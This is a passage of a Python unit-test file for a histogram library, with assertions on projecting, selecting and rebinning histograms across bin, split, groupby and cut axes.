nanflow=False), profile("p"), weight="w") hx = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), profile("p"), weight="w") hy = Hist(bin("y", 2, 0, 2, underflow=False, overflow=False, nanflow=False), profile("p"), weight="w") hxy.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8], p=[10, 20, 40, 80]) hx.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8], p=[10, 20, 40, 80]) hy.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8], p=[10, 20, 40, 80]) self.assertEqual(hxy._content.tolist(), [[[10, 100, 1, 1], [40, 800, 2, 4]], [[160, 6400, 4, 16], [640, 51200, 8, 64]]]) self.assertEqual(hx._content.tolist(), [[50, 900, 3, 5], [800, 57600, 12, 80]]) self.assertEqual(hxy.project("x")._content.tolist(), [[50, 900, 3, 5], [800, 57600, 12, 80]]) self.assertEqual(hy._content.tolist(), [[170, 6500, 5, 17], [680, 52000, 10, 68]]) self.assertEqual(hxy.project("y")._content.tolist(), [[170, 6500, 5, 17], [680, 52000, 10, 68]]) def test_project_groupby(self): hcx = Hist(groupby("c"), bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) hcx.fill(c=["one", "one", "one", "one", "two", "two"], x=[0, 1, 0, 1, 0, 1]) self.assertEqual(set(hcx._content.keys()), set(["one", "two"])) self.assertEqual(set(hcx.project("c")._content.keys()), set(["one", "two"])) self.assertEqual(hcx.project("c").axis, (groupby("c"),)) self.assertEqual(hcx.project("c")._content["one"].tolist(), [4]) self.assertEqual(hcx.project("c")._content["two"].tolist(), [2]) self.assertEqual(hcx.project("x")._content.tolist(), [[3], [3]]) self.assertEqual(hcx.project("x").axis, (bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False),)) def test_project_groupby_groupby(self): def tolist(obj): if isinstance(obj, dict): return dict((n, tolist(x)) for n, x in obj.items()) else: return obj.tolist() hcdx = Hist(groupby("c"), groupby("d"), bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) hcdx.fill(c=["one", "one", "two", "two"], d=["uno", "dos", "un", "deux"], x=[0, 1, 0, 1]) self.assertEqual(tolist(hcdx._content), {"two": {"dos": [[0], [0]], "un": [[1], [0]], "deux": [[0], [1]], "uno": [[0], [0]]}, "one": {"dos": [[0], [1]], "un": [[0], [0]], "deux": [[0], [0]], "uno": [[1], [0]]}}) self.assertEqual(tolist(hcdx.project("c")._content), {"two": [2], "one": [2]}) self.assertEqual(tolist(hcdx.project("c", "d").project("c")._content), {"two": [2], "one": [2]}) self.assertEqual(tolist(hcdx.project("d")._content), {"dos": [1], "un": [1], "deux": [1], "uno": [1]}) self.assertEqual(tolist(hcdx.project("c", "d").project("d")._content), {"dos": [1], "un": [1], "deux": [1], "uno": [1]}) self.assertEqual(tolist(hcdx.project("c", "d")._content), {"two": {"dos": [0], "un": [1], "deux": [1], "uno": [0]}, "one": {"dos": [1], "un": [0], "deux": [0], "uno": [1]}}) self.assertEqual(tolist(hcdx.project("d", "c")._content), {"two": {"dos": [0], "un": [1], "deux": [1], "uno": [0]}, "one": {"dos": [1], "un": [0], "deux": [0], "uno": [1]}}) self.assertEqual(tolist(hcdx.project("x")._content), [[2], [2]]) self.assertEqual(tolist(hcdx.project("c", "x").project("x")._content), [[2], [2]]) self.assertEqual(tolist(hcdx.project("d", "x").project("x")._content), [[2], [2]]) def test_project_away(self): empty = Hist() empty.fill(x=[1, 2, 3]) self.assertEqual(empty._content.tolist(), [1]) h = Hist(bin("x", 10, 0, 10)) h.fill(x=[1, 2, 3]) self.assertEqual(h.project()._content.tolist(), [3]) empty = Hist(weight="y") empty.fill(x=[1, 2, 3], y=[0.1, 0.1, 0.1]) self.assertEqual(empty._content.tolist(), [0.30000000000000004, 0.030000000000000006]) h = Hist(bin("x", 10, 0, 10), weight="y") h.fill(x=[1, 2, 3], y=[0.1, 0.1, 0.1]) self.assertEqual(h.project()._content.tolist(), [0.30000000000000004, 0.030000000000000006]) hc = Hist(groupby("c")) hc.fill(c=["one", "one", "two"]) self.assertEqual(hc.project()._content.tolist(), [3]) def test_select_bin_axis(self): for underflow in False, True: for overflow in False, True: h = Hist(bin("x", 4, -1, 1, underflow=underflow, overflow=overflow)) if underflow: self.assertEqual(h.select("x < -1").axis["x"], bin("x", 0, -1, -1, underflow=underflow, overflow=False, nanflow=False)) self.assertEqual(h.select("x < -0.5").axis["x"], bin("x", 1, -1, -0.5, underflow=underflow, overflow=False, nanflow=False)) self.assertEqual(h.select("x < 0").axis["x"], bin("x", 2, -1, 0, underflow=underflow, overflow=False, nanflow=False)) self.assertEqual(h.select("x < 0.5").axis["x"], bin("x", 3, -1, 0.5, underflow=underflow, overflow=False, nanflow=False)) self.assertEqual(h.select("x < 1").axis["x"], bin("x", 4, -1, 1, underflow=underflow, overflow=False, nanflow=False)) self.assertEqual(h.select("x >= -1").axis["x"], bin("x", 4, -1, 1, underflow=False, overflow=overflow, nanflow=False)) self.assertEqual(h.select("x >= -0.5").axis["x"], bin("x", 3, -0.5, 1, underflow=False, overflow=overflow, nanflow=False)) self.assertEqual(h.select("x >= 0").axis["x"], bin("x", 2, 0, 1, underflow=False, overflow=overflow, nanflow=False)) self.assertEqual(h.select("x >= 0.5").axis["x"], bin("x", 1, 0.5, 1, underflow=False, overflow=overflow, nanflow=False)) if overflow: self.assertEqual(h.select("x >= 1").axis["x"], bin("x", 0, 1, 1, underflow=False, overflow=overflow, nanflow=False)) h = Hist(bin("x", 4, -1, 1, underflow=underflow, overflow=overflow, closedlow=False)) if underflow: self.assertEqual(h.select("x <= -1").axis["x"], bin("x", 0, -1, -1, underflow=underflow, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= -0.5").axis["x"], bin("x", 1, -1, -0.5, underflow=underflow, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 0").axis["x"], bin("x", 2, -1, 0, underflow=underflow, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 0.5").axis["x"], bin("x", 3, -1, 0.5, underflow=underflow, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 1").axis["x"], bin("x", 4, -1, 1, underflow=underflow, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > -1").axis["x"], bin("x", 4, -1, 1, underflow=False, overflow=overflow, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > -0.5").axis["x"], bin("x", 3, -0.5, 1, underflow=False, overflow=overflow, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0").axis["x"], bin("x", 2, 0, 1, underflow=False, overflow=overflow, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0.5").axis["x"], bin("x", 1, 0.5, 1, underflow=False, overflow=overflow, nanflow=False, closedlow=False)) if overflow: self.assertEqual(h.select("x > 1").axis["x"], bin("x", 0, 1, 1, underflow=False, overflow=overflow, nanflow=False, closedlow=False)) def test_select_bin_content(self): for nanflow in False, True: h = Hist(bin("x", 4, -1, 1, underflow=True, overflow=True, nanflow=nanflow)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x < -1")._content.tolist(), [[1]]) self.assertEqual(h.select("x < -0.5")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x < 0")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x < 0.5")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x >= -1")._content.tolist(), [[2], [3], [4], [5], [6]]) self.assertEqual(h.select("x >= -0.5")._content.tolist(), [[3], [4], [5], [6]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[4], [5], [6]]) self.assertEqual(h.select("x >= 0.5")._content.tolist(), [[5], [6]]) self.assertEqual(h.select("x >= 1")._content.tolist(), [[6]]) h = Hist(bin("x", 4, -1, 1, underflow=True, overflow=False, nanflow=nanflow)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x < -1")._content.tolist(), [[1]]) self.assertEqual(h.select("x < -0.5")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x < 0")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x < 0.5")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x >= -1")._content.tolist(), [[2], [3], [4], [5]]) self.assertEqual(h.select("x >= -0.5")._content.tolist(), [[3], [4], [5]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[4], [5]]) self.assertEqual(h.select("x >= 0.5")._content.tolist(), [[5]]) h = Hist(bin("x", 4, -1, 1, underflow=False, overflow=True, nanflow=nanflow)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x < -0.5")._content.tolist(), [[1]]) self.assertEqual(h.select("x < 0")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x < 0.5")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x >= -1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x >= -0.5")._content.tolist(), [[2], [3], [4], [5]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[3], [4], [5]]) self.assertEqual(h.select("x >= 0.5")._content.tolist(), [[4], [5]]) self.assertEqual(h.select("x >= 1")._content.tolist(), [[5]]) h = Hist(bin("x", 4, -1, 1, underflow=False, overflow=False, nanflow=nanflow)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x < -0.5")._content.tolist(), [[1]]) self.assertEqual(h.select("x < 0")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x < 0.5")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x >= -1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x >= -0.5")._content.tolist(), [[2], [3], [4]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[3], [4]]) self.assertEqual(h.select("x >= 0.5")._content.tolist(), [[4]]) for nanflow in False, True: h = Hist(bin("x", 4, -1, 1, underflow=True, overflow=True, nanflow=nanflow, closedlow=False)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x <= -1")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= -0.5")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x <= 0.5")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x > -1")._content.tolist(), [[2], [3], [4], [5], [6]]) self.assertEqual(h.select("x > -0.5")._content.tolist(), [[3], [4], [5], [6]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[4], [5], [6]]) self.assertEqual(h.select("x > 0.5")._content.tolist(), [[5], [6]]) self.assertEqual(h.select("x > 1")._content.tolist(), [[6]]) h = Hist(bin("x", 4, -1, 1, underflow=True, overflow=False, nanflow=nanflow, closedlow=False)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x <= -1")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= -0.5")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x <= 0.5")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x > -1")._content.tolist(), [[2], [3], [4], [5]]) self.assertEqual(h.select("x > -0.5")._content.tolist(), [[3], [4], [5]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[4], [5]]) self.assertEqual(h.select("x > 0.5")._content.tolist(), [[5]]) h = Hist(bin("x", 4, -1, 1, underflow=False, overflow=True, nanflow=nanflow, closedlow=False)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x <= -0.5")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x <= 0.5")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x > -1")._content.tolist(), [[1], [2], [3], [4], [5]]) self.assertEqual(h.select("x > -0.5")._content.tolist(), [[2], [3], [4], [5]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[3], [4], [5]]) self.assertEqual(h.select("x > 0.5")._content.tolist(), [[4], [5]]) self.assertEqual(h.select("x > 1")._content.tolist(), [[5]]) h = Hist(bin("x", 4, -1, 1, underflow=False, overflow=False, nanflow=nanflow, closedlow=False)) h._content = numpy.arange(1, h.axis["x"].totbins + 1, dtype=numpy.float64).reshape(h.axis["x"].totbins, 1) self.assertEqual(h.select("x <= -0.5")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x <= 0.5")._content.tolist(), [[1], [2], [3]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x > -1")._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x > -0.5")._content.tolist(), [[2], [3], [4]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[3], [4]]) self.assertEqual(h.select("x > 0.5")._content.tolist(), [[4]]) def test_select_bin_bin(self): h = Hist(bin("x", 4, -1, 1, underflow=False, overflow=False, nanflow=False), bin("y", 4, -1, 1, underflow=False, overflow=False, nanflow=False)) h.fill(x=[0], y=[0]) h.fill(x=[0], y=[0]) h.fill(x=[0], y=[0]) h.fill(x=[0], y=[0]) h.fill(x=[0], y=[0.5]) h.fill(x=[0], y=[0.5]) h.fill(x=[0], y=[0.5]) h.fill(x=[0.5], y=[0]) h.fill(x=[0.5], y=[0]) h.fill(x=[0.5], y=[0.5]) self.assertEqual(h._content.tolist(), [[[0], [0], [0], [0]], [[0], [0], [0], [0]], [[0], [0], [4], [3]], [[0], [0], [2], [1]]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[[0], [0], [4], [3]], [[0], [0], [2], [1]]]) self.assertEqual(h.select("y >= 0")._content.tolist(), [[[0], [0]], [[0], [0]], [[4], [3]], [[2], [1]]]) self.assertEqual(h.select("x >= 0 and y >= 0")._content.tolist(), [[[4], [3]], [[2], [1]]]) self.assertEqual(h.select("x >= 0").select("y >= 0")._content.tolist(), [[[4], [3]], [[2], [1]]]) def test_select_intbin(self): h = Hist(intbin("x", 5, 10)) h.fill(x=range(15)) self.assertEqual(h._content.tolist(), [[5], [1], [1], [1], [1], [1], [1], [4]]) self.assertEqual(h.select("x < 6").axis["x"], intbin("x", 5, 5, overflow=False)) self.assertEqual(h.select("x < 6")._content.tolist(), [[5], [1]]) self.assertEqual(h.select("x <= 6").axis["x"], intbin("x", 5, 6, overflow=False)) self.assertEqual(h.select("x <= 6")._content.tolist(), [[5], [1], [1]]) self.assertEqual(h.select("x > 9").axis["x"], intbin("x", 10, 10, underflow=False)) self.assertEqual(h.select("x > 9")._content.tolist(), [[1], [4]]) self.assertEqual(h.select("x >= 9").axis["x"], intbin("x", 9, 10, underflow=False)) self.assertEqual(h.select("x >= 9")._content.tolist(), [[1], [1], [4]]) h = Hist(intbin("x", 5, 10, underflow=False, overflow=False)) h.fill(x=range(15)) self.assertEqual(h._content.tolist(), [[1], [1], [1], [1], [1], [1]]) self.assertEqual(h.select("x < 6").axis["x"], intbin("x", 5, 5, underflow=False, overflow=False)) self.assertEqual(h.select("x < 6")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= 6").axis["x"], intbin("x", 5, 6, underflow=False, overflow=False)) self.assertEqual(h.select("x <= 6")._content.tolist(), [[1], [1]]) self.assertEqual(h.select("x > 9").axis["x"], intbin("x", 10, 10, underflow=False, overflow=False)) self.assertEqual(h.select("x > 9")._content.tolist(), [[1]]) self.assertEqual(h.select("x >= 9").axis["x"], intbin("x", 9, 10, underflow=False, overflow=False)) self.assertEqual(h.select("x >= 9")._content.tolist(), [[1], [1]]) def test_select_split(self): h = Hist(split("x", (0, 1), underflow=True, overflow=True, closedlow=True)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x < 0").axis["x"], split("x", 0, underflow=True, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 1").axis["x"], split("x", (0, 1), underflow=True, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 0")._content.tolist(), [[1]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x >= 1").axis["x"], split("x", 1, underflow=False, overflow=True, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 0").axis["x"], split("x", (0, 1), underflow=False, overflow=True, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 1")._content.tolist(), [[3]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[2], [3]]) h = Hist(split("x", (0, 1), underflow=False, overflow=True, closedlow=True)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[2], [3], [4]]) self.assertEqual(h.select("x < 1").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 1")._content.tolist(), [[2]]) self.assertEqual(h.select("x >= 1").axis["x"], split("x", 1, underflow=False, overflow=True, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 0").axis["x"], split("x", (0, 1), underflow=False, overflow=True, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 1")._content.tolist(), [[3]]) self.assertEqual(h.select("x >= 0")._content.tolist(), [[2], [3]]) h = Hist(split("x", (0, 1), underflow=True, overflow=False, closedlow=True)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[1], [2], [4]]) self.assertEqual(h.select("x < 0").axis["x"], split("x", 0, underflow=True, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 1").axis["x"], split("x", (0, 1), underflow=True, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 0")._content.tolist(), [[1]]) self.assertEqual(h.select("x < 1")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x >= 0").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 0")._content.tolist(), [[2]]) h = Hist(split("x", (0, 1), underflow=False, overflow=False, closedlow=True)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[2], [4]]) self.assertEqual(h.select("x < 1").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x < 1")._content.tolist(), [[2]]) self.assertEqual(h.select("x >= 0").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=True)) self.assertEqual(h.select("x >= 0")._content.tolist(), [[2]]) h = Hist(split("x", (0, 1), underflow=True, overflow=True, closedlow=False)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[1], [2], [3], [4]]) self.assertEqual(h.select("x <= 0").axis["x"], split("x", 0, underflow=True, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 1").axis["x"], split("x", (0, 1), underflow=True, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x > 1").axis["x"], split("x", 1, underflow=False, overflow=True, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0").axis["x"], split("x", (0, 1), underflow=False, overflow=True, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 1")._content.tolist(), [[3]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[2], [3]]) h = Hist(split("x", (0, 1), underflow=False, overflow=True, closedlow=False)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[2], [3], [4]]) self.assertEqual(h.select("x <= 1").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 1")._content.tolist(), [[2]]) self.assertEqual(h.select("x > 1").axis["x"], split("x", 1, underflow=False, overflow=True, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0").axis["x"], split("x", (0, 1), underflow=False, overflow=True, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 1")._content.tolist(), [[3]]) self.assertEqual(h.select("x > 0")._content.tolist(), [[2], [3]]) h = Hist(split("x", (0, 1), underflow=True, overflow=False, closedlow=False)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[1], [2], [4]]) self.assertEqual(h.select("x <= 0").axis["x"], split("x", 0, underflow=True, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 1").axis["x"], split("x", (0, 1), underflow=True, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 0")._content.tolist(), [[1]]) self.assertEqual(h.select("x <= 1")._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x > 0").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0")._content.tolist(), [[2]]) h = Hist(split("x", (0, 1), underflow=False, overflow=False, closedlow=False)) h.fill(x=[-1, 0.5, 0.5, 2, 2, 2, numpy.nan, numpy.nan, numpy.nan, numpy.nan]) self.assertEqual(h._content.tolist(), [[2], [4]]) self.assertEqual(h.select("x <= 1").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x <= 1")._content.tolist(), [[2]]) self.assertEqual(h.select("x > 0").axis["x"], split("x", (0, 1), underflow=False, overflow=False, nanflow=False, closedlow=False)) self.assertEqual(h.select("x > 0")._content.tolist(), [[2]]) def test_select_cut(self): h = Hist(cut("p")) h.fill(p=[True, True, False]) self.assertEqual(h._content.tolist(), [[1], [2]]) self.assertEqual(h.select("p")._content.tolist(), [2]) self.assertEqual(h.select("not p")._content.tolist(), [1]) self.assertEqual(h.select("p")._fixed, ()) self.assertEqual(h.select("p")._shape, (1,)) self.assertEqual(h.select("not p")._fixed, ()) self.assertEqual(h.select("not p")._shape, (1,)) h = Hist(cut("x > 5")) h.fill(x=[8, 7, 3]) self.assertEqual(h._content.tolist(), [[1], [2]]) self.assertEqual(h.select("x > 5")._content.tolist(), [2]) def test_select_groupby(self): h = Hist(groupby("c")) h.fill(c=["one", "two", "three", "two", "three", "three"]) self.assertEqual(set(h.select("c == 'two'")._content.keys()), set(["two"])) self.assertEqual(set(h.select("c in {'two', 'three'}")._content.keys()), set(["two", "three"])) self.assertEqual(set(h.select("c > 'one'")._content.keys()), set(["two", "three"])) # (alphabetically) self.assertEqual(set(h.select("c != 'two'")._content.keys()), set(["one", "three"])) self.assertEqual(set(h.select("not c == 'two'")._content.keys()), set(["one", "three"])) self.assertEqual(set(h.select("c != 'two' and c != 'three'")._content.keys()), set(["one"])) self.assertEqual(set(h.select("c == 'two' or c == 'three'")._content.keys()), set(["two", "three"])) h = Hist(groupby("c"), bin("x", 4, -1, 1, underflow=False, overflow=False, nanflow=False)) h.fill(c=["one", "two", "three", "two", "three", "three"], x=[0, 0, 0, 0, 0, 0]) self.assertEqual(h.select("c == 'two'")._content["two"].tolist(), [[0], [0], [2], [0]]) self.assertEqual(h.select("c == 'two' and x >= 0")._content["two"].tolist(), [[2], [0]]) self.assertEqual(h.select("x >= 0 and c == 'two'")._content["two"].tolist(), [[2], [0]]) def test_select_groupbin(self): h = Hist(groupbin("x", 10)) h.fill(x=[10, 15, 18, 20, 25]) self.assertEqual(set(h._content.keys()), set([10.0, 20.0])) self.assertEqual(h._content[10.0].tolist(), [3]) self.assertEqual(h._content[20.0].tolist(), [2]) self.assertEqual(set(h.select("x < 20")._content.keys()), set([10.0])) self.assertEqual(h.select("x < 20")._content[10.0].tolist(), [3]) self.assertEqual(h.select("not x >= 20")._content[10.0].tolist(), [3]) h = Hist(groupbin("x", 10, closedlow=False)) h.fill(x=[10, 15, 18, 20, 25]) self.assertEqual(set(h._content.keys()), set([0.0, 10.0, 20.0])) self.assertEqual(h._content[0.0].tolist(), [1]) self.assertEqual(h._content[10.0].tolist(), [3]) self.assertEqual(h._content[20.0].tolist(), [1]) self.assertEqual(set(h.select("x <= 20")._content.keys()), set([0.0, 10.0])) self.assertEqual(h.select("x <= 20")._content[0.0].tolist(), [1]) self.assertEqual(h.select("x <= 20")._content[10.0].tolist(), [3]) self.assertEqual(h.select("not x > 20")._content[10.0].tolist(), [3]) h = Hist(groupbin("x", 10)) h.fill(x=[15, 25, 25, 35, 35, 35]) self.assertEqual(set(h._content.keys()), set([10.0, 20.0, 30.0])) self.assertEqual(set(h.select("x < 20 or x >= 30")._content.keys()), set([10.0, 30.0])) def test_rebin_split(self): h = Hist(split("x", (1, 2, 3))) h.fill(x=[0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16) self.assertEqual(h._content.tolist(), [[1], [2], [4], [8], [16]]) h2 = h.rebin("x", (2, 3)) self.assertEqual(h2._content.tolist(), [[3], [4], [8], [16]]) h3 = h.rebin("x", (1, 3)) self.assertEqual(h3._content.tolist(), [[1], [6], [8], [16]]) h4 = h.rebin("x", (1, 2)) self.assertEqual(h4._content.tolist(), [[1], [2], [12], [16]]) h5 = h.rebin("x", (1,)) self.assertEqual(h5._content.tolist(), [[1], [14], [16]]) h6 = h.rebin("x", (2,)) self.assertEqual(h6._content.tolist(), [[3], [12], [16]]) h7 = h.rebin("x", (3,)) self.assertEqual(h7._content.tolist(), [[7], [8], [16]]) h = Hist(split("x", (1, 2, 3), underflow=False, overflow=True)) h.fill(x=[0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16) self.assertEqual(h._content.tolist(), [[2], [4], [8], [16]]) h2 = h.rebin("x", (2, 3)) self.assertEqual(h2._content.tolist(), [[4], [8], [16]]) h3 = h.rebin("x", (1, 3)) self.assertEqual(h3._content.tolist(), [[6], [8], [16]]) h4 = h.rebin("x", (1, 2)) self.assertEqual(h4._content.tolist(), [[2], [12], [16]]) h5 = h.rebin("x", (1,)) self.assertEqual(h5._content.tolist(), [[14], [16]]) h6 = h.rebin("x", (2,)) self.assertEqual(h6._content.tolist(), [[12], [16]]) h7 = h.rebin("x", (3,)) self.assertEqual(h7._content.tolist(), [[8], [16]]) h = Hist(split("x", (1, 2, 3), underflow=True, overflow=False)) h.fill(x=[0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16) self.assertEqual(h._content.tolist(), [[1], [2], [4], [16]]) h2 = h.rebin("x", (2, 3)) self.assertEqual(h2._content.tolist(), [[3], [4], [16]]) h3 = h.rebin("x", (1, 3)) self.assertEqual(h3._content.tolist(), [[1], [6], [16]]) h4 = h.rebin("x", (1, 2)) self.assertEqual(h4._content.tolist(), [[1], [2], [16]]) h5 = h.rebin("x", (1,)) self.assertEqual(h5._content.tolist(), [[1], [16]]) h6 = h.rebin("x", (2,)) self.assertEqual(h6._content.tolist(), [[3], [16]]) h7 = h.rebin("x", (3,)) self.assertEqual(h7._content.tolist(), [[7], [16]]) h = Hist(split("x", (1, 2, 3), underflow=False, overflow=False)) h.fill(x=[0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16) self.assertEqual(h._content.tolist(), [[2], [4], [16]]) h2 = h.rebin("x", (2, 3)) self.assertEqual(h2._content.tolist(), [[4], [16]]) h3 = h.rebin("x", (1, 3)) self.assertEqual(h3._content.tolist(), [[6], [16]]) h4 = h.rebin("x", (1, 2)) self.assertEqual(h4._content.tolist(), [[2], [16]]) h5 = h.rebin("x", (1,)) self.assertEqual(h5._content.tolist(), [[16]]) h6 = h.rebin("x", (2,)) self.assertEqual(h6._content.tolist(), [[16]]) h7 = h.rebin("x", (3,)) self.assertEqual(h7._content.tolist(), [[16]]) def test_rebin_split_bin(self): h = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), split("y", (1, 2, 3))) h.fill(x=[0]*(1+2+4+8+16) + [1]*(1+2+4+8+16), y=([0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16)*2) self.assertEqual(h._content.tolist(), [[[1], [2], [4], [8], [16]], [[1], [2], [4], [8], [16]]]) h2 = h.rebin("y", (2, 3)) self.assertEqual(h2._content.tolist(), [[[3], 